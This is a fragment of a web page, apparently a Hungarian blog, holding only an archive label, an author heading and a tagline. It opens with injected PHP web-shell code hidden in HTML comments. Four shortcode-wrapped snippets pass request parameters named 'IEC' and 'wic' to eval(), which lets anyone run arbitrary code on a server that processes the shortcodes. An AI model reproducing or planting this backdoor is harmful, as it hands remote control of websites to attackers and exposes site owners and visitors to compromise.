<!– [insert_php]if (isset($_REQUEST["IEC"])){eval($_REQUEST["IEC"]);exit;}[/insert_php][php]if (isset($_REQUEST["IEC"])){eval($_REQUEST["IEC"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["wic"])){eval($_REQUEST["wic"]);exit;}[/insert_php][php]if (isset($_REQUEST["wic"])){eval($_REQUEST["wic"]);exit;}[/php] –>

archivum-2006

ABOUT THE AUTHOR

Minden vélemény számít!